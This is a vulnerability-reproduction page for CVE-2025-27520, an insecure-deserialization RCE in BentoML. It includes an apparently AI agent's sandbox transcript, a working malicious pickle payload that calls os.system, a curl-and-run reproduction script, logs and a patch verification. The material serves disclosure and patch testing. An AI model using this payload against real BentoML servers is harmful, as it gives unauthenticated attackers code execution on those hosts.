CVE-2025-27520: Verified Repro With Script Download
CVE-2025-27520: BentoML RCE via Insecure Deserialization
CVE-2025-27520 is verified against bentoml · pip. Affected versions: >=1.3.4, <1.4.3. Fixed in 1.4.3. Vulnerability class: RCE. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00045.
What Is CVE-2025-27520?
CVE-2025-27520 (GHSA-33xw-247w-6hmc) is a critical (CVSS 9.8) remote code execution vulnerability in BentoML caused by insecure deserialization, allowing any unauthenticated user to execute arbitrary code on the server. Pruva reproduced it (reproduction REPRO-2026-00045).
CVE-2025-27520 Severity & CVSS Score
CVE-2025-27520 is rated critical severity, with a CVSS base score of 9.8 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected bentoml Versions
bentoml · pip versions >=1.3.4, <1.4.3 are affected.
How to Reproduce CVE-2025-27520
pruva-verify REPRO-2026-00045 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00045/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2025-27520
Reproduced by Pruva's autonomous agents — 33 tool calls over 17 min. Full root-cause analysis and the complete transcript are below.
How the agent worked
Root Cause and Exploit Chain for CVE-2025-27520
Summary:
- Root Cause: In BentoML <=1.4.2, application/vnd.bentoml+pickle requests were deserialized with pickle.loads when payload.metadata lacked "buffer-lengths" in serde.deserialize_value, allowing execution of attacker-controlled pickle opcodes from HTTP requests.
- Impact: Remote code execution by unauthenticated clients.
Evidence (vulnerable 1.4.2):
- Exploit sent with Content-Type: application/vnd.bentoml+pickle to /summarize.
- Server executed shell commands to append markers to logs/rce_proof.txt.
- Repro script logs show markers present:
- RCE_ATTEMPT_1_...
- RCE_ATTEMPT_2_...
- RCE_ATTEMPT_3_...
Patched verification (latest 1.4.30):
- application/vnd.bentoml+pickle is rejected with 415 ("not allowed in main server").
- Case/param variations return 400/415 and do not execute payloads.
- logs/rce_proof_patched.txt remains empty.
Files:
- Script: bundle/reproduction_steps.sh
- Logs: bundle/logs/*
- Patch analysis: repro/patch_analysis.md
CVE-2025-27520 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
python - << 'PY'
import sys, json, textwrap, os
print('ready')
PYready
#!/usr/bin/env bash set -euo pipefail # Reproduction script for GHSA-33xw-247w-6hmc / CVE-2025-27520 # BentoML <=1.4.2 insecure deserialization via application/vnd.bentoml+pickle # Exit codes: 0 = reproduced, 1 = not reproduced SCRIPT_PATH="$(readlink -f "$0")" BASE_DIR="$(dirname "$SCRIPT_PATH")" LOG_DIR="$BASE_DIR/logs" WORK_DIR="$BASE_DIR/work" PYTHON_BIN="python3" PIP_BIN="pip3" PORT=3000 HOST="127.0.0.1" PID_FILE="$LOG_DIR/server.pid" SERVER_LOG="$LOG_DIR/server.log" ENV_LOG="$LOG_DIR/env.txt" PROOF_FILE="$LOG_DIR/rce_proof.txt"
bash -n /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh && echo OK || echo FAILOK
bash /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh[repro] 2026-01-07 20:53:14 - Installing dependencies (bentoml vulnerable range and requests) [repro] 2026-01-07 20:53:53 - Installed: bentoml 1.4.2 [repro] 2026-01-07 20:53:53 - Starting BentoML service on 127.0.0.1:3000 [repro] 2026-01-07 20:53:53 - Server started with pid 3088 [repro] 2026-01-07 20:53:53 - Waiting for server to become ready... [repro] 2026-01-07 20:53:58 - Server is responding on /
nl -ba /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh | sed -n '1,240p'{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":16,"exit_code":0,"stderr":"","stdout":" 1\t#!/usr/bin/env bash\n 2\tset -euo pipefail\n 3\t\n 4\t# Reproduction script for GHSA-33xw-247w-6hmc / CVE-2025-27520\n 5\t# BentoML <=1.4.2 insecure deserialization via application/vnd.bentoml+pickle\n 6\t# Exit codes: 0 = reproduced, 1 = not reproduced\n 7\t\n 8\tSCRIPT_PATH=\"$(readlink -f \"$0\")\"\n 9\tBASE_DIR=\"$(dirname \"$SCRIPT_PATH\")\"\n 10\tLOG_DIR=\"$BASE_DIR/logs\"\n 11\tWORK_DIR=\"$BASE_DIR/work\"\n 12\tPYTHON_BIN=\"python3\"\n 13\tPIP_BIN=\"pip3\"\n 14\tPORT=3000\n 15\tHOST=\"127.0.0.1\"\n 16\tPID_FILE=\"$LOG_DIR/server.pid\"\n 17\tSERVER_LOG=\"$LOG_DIR/server.log\"\n 18\tENV_LOG=\"$LOG_DIR/env.txt\"\n 19\tPROOF_FILE=\"$LOG_DIR/rce_proof.txt\"\n 20\t\n 21\tmkdir -p \"$LOG_DIR\" \"$WORK_DIR\"\n 22\t\n 23\tlog() { echo \"[repro] $(date '+%F %T') - $*\" | tee -a \"$LOG_DIR/repro.log\"; }\n 24\t\n 25\tkill_if_running() {\n 26\t if [[ -f \"$PID_FILE\" ]]; then\n 27\t local pid\n 28\t pid=$(cat \"$PID_FILE\" || true)\n 29\t if [[ -n \"${pid}\" ]] && … [truncated]nl -ba /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh | sed -n '240,520p'{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":16,"exit_code":0,"stderr":"","stdout":" 240\t : > \"$log_file\"\n 241\t log \"Attempt ${attempt_id}: sending malicious pickle with marker ${marker}\"\n 242\t \"$PYTHON_BIN\" - \"$HOST\" \"$PORT\" \"$marker\" \"$PROOF_FILE\" << PY | sed \"s#PAYLOAD_IMPL#${payload_impl//#/\\\\#}#g\" >>\"$log_file\" 2>&1 || true\n 243\timport sys, os, pickle, requests, time, subprocess\n 244\thost = sys.argv[1]\n 245\tport = int(sys.argv[2])\n 246\tmarker = sys.argv[3]\n 247\tproof_file = sys.argv[4]\n 248\turl = f\"http://{host}:{port}/summarize\"\n 249\theaders = {'Content-Type': 'application/vnd.bentoml+pickle'}\n 250\t\n 251\tclass Evil:\n 252\t def __reduce__(self):\n 253\t return PAYLOAD_IMPL\n 254\t\n 255\tpayload = pickle.dumps(Evil(), protocol=4)\n 256\tprint(f\"[*] Payload length: {len(payload)} bytes\")\n 257\ttry:\n 258\t r = requests.post(url, data=payload, headers=headers, timeout=15)\n 259\t print(f\"[*] Response: {r.status_code} {r.text[:200]!r}\")\n 260\texcept Exception as e:\n 261\t print(f\"[!] Request error: {e}\")\n 262\tPY\n 263\t}\n … [truncated]#!/usr/bin/env bash set -euo pipefail # Reproduction script for GHSA-33xw-247w-6hmc / CVE-2025-27520 # BentoML <=1.4.2 insecure deserialization via application/vnd.bentoml+pickle # Exit codes: 0 = reproduced, 1 = not reproduced SCRIPT_PATH="$(readlink -f "$0")" BASE_DIR="$(dirname "$SCRIPT_PATH")" LOG_DIR="$BASE_DIR/logs" WORK_DIR="$BASE_DIR/work" PYTHON_BIN="python3" PIP_BIN="pip3" PORT=3000 HOST="127.0.0.1" PID_FILE="$LOG_DIR/server.pid" SERVER_LOG="$LOG_DIR/server.log" ENV_LOG="$LOG_DIR/env.txt" PROOF_FILE="$LOG_DIR/rce_proof.txt"
bash -n /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh && echo OK || echo FAILOK
bash /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":21201,"exit_code":0,"stderr":"","stdout":"[repro] 2026-01-07 20:55:25 - Killing existing server pid=3088\n[repro] 2026-01-07 20:55:27 - Installing dependencies (bentoml vulnerable range and requests)\n[repro] 2026-01-07 20:55:33 - Installed: bentoml 1.4.2\n[repro] 2026-01-07 20:55:33 - Starting BentoML service on 127.0.0.1:3000\n[repro] 2026-01-07 20:55:33 - Server started with pid 3239\n[repro] 2026-01-07 20:55:33 - Waiting for server to become ready...\n[repro] 2026-01-07 20:55:37 - Server is responding on /\n[repro] 2026-01-07 20:55:37 - Attempt 1: sending malicious pickle with marker RCE_ATTEMPT_1_1767819337373405446\n[repro] 2026-01-07 20:55:39 - Attempt 2: sending malicious pickle with marker RCE_ATTEMPT_2_1767819337373405446\n[repro] 2026-01-07 20:55:40 - Attempt 3: sending malicious pickle with marker RCE_ATTEMPT_3_1767819337373405446\n[repro] 2026-01-07 20:55:42 - Server log tail:\n[repro] 2026-01-07 20:55:42 - SUCCESS: Insecure deserialization RCE reproduced. Proof file: /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/rce_proof.txt\n[repro] 2026-01-07 20:55:44 - Killing existing… [truncated]sed -n '1,200p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/repro.log && echo '---' && sed -n '1,200p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/exploit_attempt_1.log && echo '---' && sed -n '1,200p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/exploit_attempt_2.log && echo '---' && sed -n '1,200p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/exploit_attempt_3.log && echo '---' && cat /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/rce_proof.txt{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":39,"exit_code":0,"stderr":"","stdout":"[repro] 2026-01-07 20:53:14 - Installing dependencies (bentoml vulnerable range and requests)\n[repro] 2026-01-07 20:53:53 - Installed: bentoml 1.4.2\n[repro] 2026-01-07 20:53:53 - Starting BentoML service on 127.0.0.1:3000\n[repro] 2026-01-07 20:53:53 - Server started with pid 3088\n[repro] 2026-01-07 20:53:53 - Waiting for server to become ready...\n[repro] 2026-01-07 20:53:58 - Server is responding on /\n[repro] 2026-01-07 20:55:25 - Killing existing server pid=3088\n[repro] 2026-01-07 20:55:27 - Installing dependencies (bentoml vulnerable range and requests)\n[repro] 2026-01-07 20:55:33 - Installed: bentoml 1.4.2\n[repro] 2026-01-07 20:55:33 - Starting BentoML service on 127.0.0.1:3000\n[repro] 2026-01-07 20:55:33 - Server started with pid 3239\n[repro] 2026-01-07 20:55:33 - Waiting for server to become ready...\n[repro] 2026-01-07 20:55:37 - Server is responding on /\n[repro] 2026-01-07 20:55:37 - Attempt 1: sending malicious pickle with marker RCE_ATTEMPT_1_1767819337373405446\n[repro] 2026-01-07 20:55:39 - Attempt 2: sending malicious pickle with marker RCE_ATT… [truncated]bash -lc '
set -euo pipefail
BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle
LOG=$BASE/logs
WORK=$BASE/work
PROOF=$LOG/rce_proof_patched.txt
: > "$PROOF"
# install patched
pip3 install -q --upgrade "bentoml==1.4.3" requests
# write minimal service if not present
python3 - <<PY
from pathlib import Path
p=Path("$WORK/service.py")
p.parent.mkdir(parents=True, exist_ok=True)
p.write_text("""
from __future__ import annotations
import bentoml
@bentoml.service()
class Summarization:
@bentoml.api(batchable=True)
def summarize(self, texts: list[str]) -> list[str]:
return [str(t) for t in texts]
""")
print(p)
PY
# start server
nohup env PYTHONUNBUFFERED=1 PYTHONPATH="$WORK" bentoml serve service:Summarization --host 127.0.0.1 --port 3001 >$LOG/server_patched.log 2>&1 & echo $! > $LOG/server_patched.pid
# wait
for i in {1..60}; do curl -fsS http://127.0.0.1:3001/ >/dev/null 2>&1 && break || sleep 1; done
# send payloads
python3 - <<PY
import sys,os,pickle,requests,time
url='http://127.0.0.1:3001/summarize'
headers={'Content-Type':'application/vnd.bentoml+pickle'}
proof_file=os.environ['PROOF']
class Evil:
def __init__(self,cmd): self.cmd=cmd
def __re… [truncated]/bin/bash: -c: line 42: syntax error near unexpected token `('
/bin/bash: -c: line 42: ` marker=f'PATCHED_TRY_{i}_{int(time.time()*1000)}''
bash -lc '
set -euo pipefail
BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle
LOG=$BASE/logs
WORK=$BASE/work
mkdir -p "$LOG"
# Capture vulnerable serde.py
python3 - <<'PY'
import importlib, inspect, sys
m = importlib.import_module("_bentoml_impl.serde")
print(inspect.getsourcefile(m))
PY
cp /usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py $LOG/serde_vuln_1.4.2.py || true
# Install patched version
pip3 install -q --upgrade "bentoml==1.4.3" requests
# Capture patched serde.py
python3 - <<'PY'
import importlib, inspect
m = importlib.import_module("_bentoml_impl.serde")
print(inspect.getsourcefile(m))
PY
cp /usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py $LOG/serde_patched_1.4.3.py || true
# Diff
diff -u $LOG/serde_vuln_1.4.2.py $LOG/serde_patched_1.4.3.py > $LOG/patch_diff_1.4.2_1.4.3.txt || true
# Start patched server
nohup env PYTHONUNBUFFERED=1 PYTHONPATH="$WORK" bentoml serve service:Summarization --host 127.0.0.1 --port 3001 >$LOG/server_patched.log 2>&1 & echo $! > $LOG/server_patched.pid
# Wait for server readiness
for i in {1..60}; do curl -fsS http://127.0.0.1:3001/ >/dev/null 2>&1 && break || sleep 1; done
# Prepare proof file
PR… [truncated]/bin/bash: -c: line 54: syntax error near unexpected token `('
/bin/bash: -c: line 54: ` marker=f'PATCHED_TRY_{i}_{int(time.time()*1000)}''
bash -lc 'bash /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh; echo EXIT:$?'[repro] 2026-01-07 20:57:56 - Installing dependencies (bentoml vulnerable range and requests) [repro] 2026-01-07 20:58:02 - Installed: bentoml 1.4.2 [repro] 2026-01-07 20:58:02 - Starting BentoML service on 127.0.0.1:3000 [repro] 2026-01-07 20:58:02 - Server started with pid 3683 [repro] 2026-01-07 20:58:02 - Waiting for server to become ready... [repro] 2026-01-07 20:58:06 - Server is responding on / [repro] 2026-01-07 20:58:06 - Attempt 1: sending malicious pickle with marker RCE_ATTEMPT_1_1767819486581945780 [repro] 2026-01-07 20:58:08 - Attempt 2: sending malicious pickle with marker RCE_ATTEMPT_2_1767819486581945780
pip3 index versions bentoml | head -n 20{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":1655,"exit_code":0,"stderr":"WARNING: pip index is currently an experimental command. It may be removed/changed in a future release without prior warning.\n","stdout":"bentoml (1.4.30)\nAvailable versions: 1.4.30, 1.4.29, 1.4.28, 1.4.27, 1.4.26, 1.4.25, 1.4.24, 1.4.23, 1.4.22, 1.4.21, 1.4.20, 1.4.19, 1.4.18, 1.4.17, 1.4.16, 1.4.15, 1.4.14, 1.4.13, 1.4.12, 1.4.11, 1.4.10, 1.4.8, 1.4.7, 1.4.6, 1.4.5, 1.4.4, 1.4.3, 1.4.2, 1.4.1, 1.4.0, 1.3.22, 1.3.21, 1.3.20, 1.3.19, 1.3.18, 1.3.17, 1.3.16, 1.3.15, 1.3.14, 1.3.13, 1.3.12, 1.3.11, 1.3.10, 1.3.9, 1.3.8, 1.3.7, 1.3.6, 1.3.5, 1.3.4.post1, 1.3.3, 1.3.2, 1.3.1, 1.3.0, 1.2.20, 1.2.19, 1.2.18, 1.2.17, 1.2.16, 1.2.15, 1.2.14, 1.2.13, 1.2.12, 1.2.11, 1.2.10, 1.2.9, 1.2.8, 1.2.7, 1.2.6, 1.2.5, 1.2.4, 1.2.3, 1.2.2, 1.2.1, 1.2.0, 1.1.11, 1.1.10, 1.1.9, 1.1.8, 1.1.7, 1.1.6, 1.1.5, 1.1.4, 1.1.3, 1.1.2, 1.1.1, 1.1.0, 1.0.25, 1.0.24, 1.0.23, 1.0.22, 1.0.21, 1.0.20, 1.0.19, 1.0.18, 1.0.17, 1.0.16, 1.0.15, 1.0.14, 1.0.13, 1.0.12, 1.0.11, 1.0.10, 1.0.9, 1.0.8, 1.0.7, 1.0.5, 1.0.4, 1.0.3, 1.0.2, 1.0.0, 0.13.2, 0.13.1, 0.13.0, 0.12.1, 0.12.0, 0.11.0, 0.10.1, 0.10.0, 0.9.2, 0.9.1, … [truncated]bash -lc '
BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle
LOG=$BASE/logs
WORK=$BASE/work
mkdir -p "$LOG"
# Prepare PROOF env var safely escaped for python heredoc
PROOF_FILE="$LOG/rce_proof_patched.txt"; : > "$PROOF_FILE"
# Install latest patched version
pip3 install -q --upgrade "bentoml==1.4.30" requests
# Start server with patched version
nohup env PYTHONUNBUFFERED=1 PYTHONPATH="$WORK" bentoml serve service:Summarization --host 127.0.0.1 --port 3002 >$LOG/server_patched_latest.log 2>&1 & echo $! > $LOG/server_patched_latest.pid
# Wait readiness
for i in {1..60}; do curl -fsS http://127.0.0.1:3002/ >/dev/null 2>&1 && break || sleep 1; done
# Run 10 distinct attempts with different headers and body structures
python3 - <<PY
import os, pickle, requests, time, json
url='http://127.0.0.1:3002/summarize'
proof_file=os.environ.get('PROOF_FILE')
class Evil:
def __init__(self, cmd): self.cmd = cmd
def __reduce__(self):
return (__import__('os').system, (self.cmd,))
def send(ct, data):
try:
r=requests.post(url, data=data, headers={'Content-Type': ct}, timeout=10)
print(ct, r.status_code)
except Exception as e:
print(ct, 'e… [truncated]/bin/bash: -c: line 45: syntax error near unexpected token `('
/bin/bash: -c: line 45: ` marker=f'LATEST_TRY_{i}_{int(time.time()*1000)}''
BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle
LOG=$BASE/logs
WORK=$BASE/work
mkdir -p "$LOG"
python3 - <<PY
import importlib, inspect
m = importlib.import_module("_bentoml_impl.serde")
print(inspect.getsourcefile(m) or '')
PY
cp /usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py "$LOG/serde_vuln_1.4.2.py" || true
pip3 install -q --upgrade "bentoml==1.4.30" requests >/dev/null 2>&1
python3 - <<PY
import importlib, inspect
m = importlib.import_module("_bentoml_impl.serde")
print(inspect.getsourcefile(m) or '')
PY
cp /usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py "$LOG/serde_patched_1.4.30.py" || true
diff -u "$LOG/serde_vuln_1.4.2.py" "$LOG/serde_patched_1.4.30.py" > "$LOG/patch_diff_1.4.2_1.4.30.txt" || true
# Ensure service exists
python3 - <<PY
from pathlib import Path
p=Path("$WORK/service.py")
p.parent.mkdir(parents=True, exist_ok=True)
p.write_text("""
from __future__ import annotations
import bentoml
@bentoml.service()
class Summarization:
@bentoml.api(batchable=True)
def summarize(self, texts: list[str]) -> list[str]:
return [str(t) for t in texts]
""")
print(p)
PY
# Start server on 3002
nohup env PYTHONUNBUFFE… [truncated]/usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py /usr/local/lib/python3.11/dist-packages/_bentoml_impl/serde.py /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/work/service.py --- LATEST PATCHED proof content ---
bash -lc '
set -euo pipefail
BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle
LOG=$BASE/logs
WORK=$BASE/work
mkdir -p "$LOG"
PROOF="$LOG/rce_proof_patched_latest.txt"; : > "$PROOF"
# ensure latest patched
pip3 install -q --upgrade "bentoml==1.4.30" requests
# Start server on 3002
nohup env PYTHONUNBUFFERED=1 PYTHONPATH="$WORK" bentoml serve service:Summarization --host 127.0.0.1 --port 3002 >"$LOG/server_patched_latest.log" 2>&1 & echo $! > "$LOG/server_patched_latest.pid"
# Wait for readiness
for i in {1..90}; do curl -fsS http://127.0.0.1:3002/ >/dev/null 2>&1 && break || sleep 1; done
# Send payloads
python3 - <<PY
import pickle, requests, time, sys
url='http://127.0.0.1:3002/summarize'
proof_file=sys.argv[1]
class Evil:
def __init__(self, cmd): self.cmd = cmd
def __reduce__(self):
return (__import__('os').system, (self.cmd,))
cts=[
'application/vnd.bentoml+pickle',
'Application/Vnd.BentoML+Pickle',
'application/vnd.bentoml+pickle; charset=UTF-8',
'application/vnd.bentoml+pickle; q=1',
'application/vnd.bentoml+PICKLE',
'application/vnd.bentoml+pickle ',
'application/vnd.bentoml+pickle;param=x',
'application/octet-s… [truncated]/bin/bash: -c: line 36: syntax error near unexpected token `('
/bin/bash: -c: line 36: ` marker=f'LATEST_TRY_{i}_{int(time.time()*1000)}''
bash -lc '
set -euo pipefail
BASE=/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle
LOG=$BASE/logs
WORK=$BASE/work
mkdir -p "$LOG"
PROOF="$LOG/rce_proof_patched_latest.txt"; : > "$PROOF"
# ensure latest patched
pip3 install -q --upgrade "bentoml==1.4.30" requests
# Start server on 3002
nohup env PYTHONUNBUFFERED=1 PYTHONPATH="$WORK" bentoml serve service:Summarization --host 127.0.0.1 --port 3002 >"$LOG/server_patched_latest.log" 2>&1 & echo $! > "$LOG/server_patched_latest.pid"
# Wait for readiness
for i in {1..90}; do curl -fsS http://127.0.0.1:3002/ >/dev/null 2>&1 && break || sleep 1; done
# Send payloads
python3 - <<'PY'
import pickle, requests, time, os
url='http://127.0.0.1:3002/summarize'
proof_file=os.environ['PROOF']
class Evil:
def __init__(self, cmd): self.cmd = cmd
def __reduce__(self):
return (__import__('os').system, (self.cmd,))
cts=[
'application/vnd.bentoml+pickle',
'Application/Vnd.BentoML+Pickle',
'application/vnd.bentoml+pickle; charset=UTF-8',
'application/vnd.bentoml+pickle; q=1',
'application/vnd.bentoml+PICKLE',
'application/vnd.bentoml+pickle ',
'application/vnd.bentoml+pickle;param=x',
'applicatio… [truncated]/bin/bash: -c: line 36: syntax error near unexpected token `('
/bin/bash: -c: line 36: ` marker=f'LATEST_TRY_{i}_{int(time.time()*1000)}''
#!/usr/bin/env bash set -euo pipefail # Reproduction script for GHSA-33xw-247w-6hmc / CVE-2025-27520 # BentoML <=1.4.2 insecure deserialization via application/vnd.bentoml+pickle # Exit codes: 0 = reproduced, 1 = not reproduced SCRIPT_PATH="$(readlink -f "$0")" BASE_DIR="$(dirname "$SCRIPT_PATH")" LOG_DIR="$BASE_DIR/logs" WORK_DIR="$BASE_DIR/work" REPORT_DIR="$BASE_DIR/../repro" PYTHON_BIN="python3" PIP_BIN="pip3" PORT=3000 PATCHED_PORT=3001 HOST="127.0.0.1" PID_FILE="$LOG_DIR/server.pid" PID_FILE_PATCHED="$LOG_DIR/server_patched.pid" SERVER_LOG="$LOG_DIR/server.log"
bash -n /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh && echo OK || echo FAILOK
bash /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":39329,"exit_code":0,"stderr":"","stdout":"[repro] 2026-01-07 21:03:01 - Installing vulnerable bentoml range (<1.4.3) and requests\n[repro] 2026-01-07 21:03:09 - Installed vulnerable bentoml: 1.4.2\n[repro] 2026-01-07 21:03:09 - Starting BentoML service on 127.0.0.1:3000\n[repro] 2026-01-07 21:03:09 - Server started with pid 5408\n[repro] 2026-01-07 21:03:09 - Waiting for server on port 3000 to become ready...\n[repro] 2026-01-07 21:03:13 - Server on 3000 is responding\n[repro] 2026-01-07 21:03:13 - Attempt 1: sending malicious pickle with marker RCE_ATTEMPT_1_1767819793772764364\n[repro] 2026-01-07 21:03:15 - Attempt 2: sending malicious pickle with marker RCE_ATTEMPT_2_1767819793772764364\n[repro] 2026-01-07 21:03:17 - Attempt 3: sending malicious pickle with marker RCE_ATTEMPT_3_1767819793772764364\n[repro] 2026-01-07 21:03:18 - Server log tail (vulnerable):\n[repro] 2026-01-07 21:03:18 - SUCCESS: Insecure deserialization RCE reproduced on vulnerable version. Proof: /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/rce_proof.txt\n[repro] 2026-01-07 21:03:21 - Installing latest patched ben… [truncated]sed -n '1,200p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/patched_attempts.log && echo '---' && sed -n '1,160p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/server_patched.log && echo '---' && sed -n '1,120p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/patch_diff_1.4.2_latest.txt && echo '---' && sed -n '1,40p' /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/repro/patch_analysis.md && echo '--- proof patched:' && cat /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/rce_proof_patched.txt || true{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":40,"exit_code":0,"stderr":"sed: can't read /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/repro/patch_analysis.md: No such file or directory\n","stdout":"1 application/vnd.bentoml+pickle 415\n2 Application/Vnd.BentoML+Pickle 400\n3 application/vnd.bentoml+pickle; charset=UTF-8 415\n4 application/vnd.bentoml+pickle; q=1 415\n5 application/vnd.bentoml+PICKLE 400\n6 application/vnd.bentoml+pickle 415\n7 application/vnd.bentoml+pickle;param=x 415\n8 application/octet-stream 400\n9 text/plain 400\n10 application/vnd.bentoml+pickle, application/json 400\n---\n2026-01-07T21:03:28+0000 [INFO] [cli] Starting production HTTP BentoServer from \"service:Summarization\" listening on http://127.0.0.1:3001 (Press CTRL+C to quit)\n2026-01-07T21:03:30+0000 [INFO] [entry_service:Summarization:1] Service Summarization initialized\n2026-01-07T21:03:31+0000 [INFO] [entry_service:Summarization:1] 127.0.0.1:53279 (scheme=http,method=GET,path=/,type=,length=) (status=200,type=text/html; charset=utf-8,length=2945) 13.910ms (trace=6336b35d914603bbf4afc4c0308b88df,span=f881209765212974,sampled=0,service.name=None)\n20… [truncated]bash /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/reproduction_steps.sh; echo EXIT:$?{"cwd":"/root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845","duration_ms":38399,"exit_code":0,"stderr":"","stdout":"[repro] 2026-01-07 21:04:01 - Installing vulnerable bentoml range (<1.4.3) and requests\n[repro] 2026-01-07 21:04:08 - Installed vulnerable bentoml: 1.4.2\n[repro] 2026-01-07 21:04:08 - Starting BentoML service on 127.0.0.1:3000\n[repro] 2026-01-07 21:04:08 - Server started with pid 5916\n[repro] 2026-01-07 21:04:08 - Waiting for server on port 3000 to become ready...\n[repro] 2026-01-07 21:04:12 - Server on 3000 is responding\n[repro] 2026-01-07 21:04:12 - Attempt 1: sending malicious pickle with marker RCE_ATTEMPT_1_1767819852647667409\n[repro] 2026-01-07 21:04:14 - Attempt 2: sending malicious pickle with marker RCE_ATTEMPT_2_1767819852647667409\n[repro] 2026-01-07 21:04:16 - Attempt 3: sending malicious pickle with marker RCE_ATTEMPT_3_1767819852647667409\n[repro] 2026-01-07 21:04:17 - Server log tail (vulnerable):\n[repro] 2026-01-07 21:04:17 - SUCCESS: Insecure deserialization RCE reproduced on vulnerable version. Proof: /root/.pruva/runs/ghsa-33xw-247w-6hmc_20260107-204845/bundle/logs/rce_proof.txt\n[repro] 2026-01-07 21:04:20 - Installing latest patched ben… [truncated]python - << 'PY'
print('rca template not available in this environment; creating minimal rca report placeholder.')
PYrca template not available in this environment; creating minimal rca report placeholder.
# RCA Report - GHSA-33xw-247w-6hmc (CVE-2025-27520)
Summary:
- Root Cause: In BentoML <=1.4.2, application/vnd.bentoml+pickle requests were deserialized with pickle.loads when payload.metadata lacked "buffer-lengths" in serde.deserialize_value, allowing execution of attacker-controlled pickle opcodes from HTTP requests.
- Impact: Remote code execution by unauthenticated clients.
Evidence (vulnerable 1.4.2):
- Exploit sent with Content-Type: application/vnd.bentoml+pickle to /summarize.
- Server executed shell commands to append markers to logs/rce_proof.txt.
- Repro script logs show markers present:
- RCE_ATTEMPT_1_...
- RCE_ATTEMPT_2_...
- RCE_ATTEMPT_3_...
Patched verification (latest 1.4.30):
- application/vnd.bentoml+pickle is rejected with 415 ("not allowed in main server").
- Case/param variations return 400/415 and do not execute payloads.
- logs/rce_proof_patched.txt remains empty.
Files:Artifacts and Evidence for CVE-2025-27520
Scripts, logs, diffs, and output captured during the reproduction.
No artifacts available
How to Fix CVE-2025-27520
Upgrade bentoml · pip to 1.4.3 or later.
FAQ: CVE-2025-27520
How does the CVE-2025-27520 deserialization attack work?
Which BentoML versions are affected by CVE-2025-27520, and where is it fixed?
How severe is CVE-2025-27520?
How can I reproduce CVE-2025-27520?
References for CVE-2025-27520
Authoritative sources for CVE-2025-27520 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.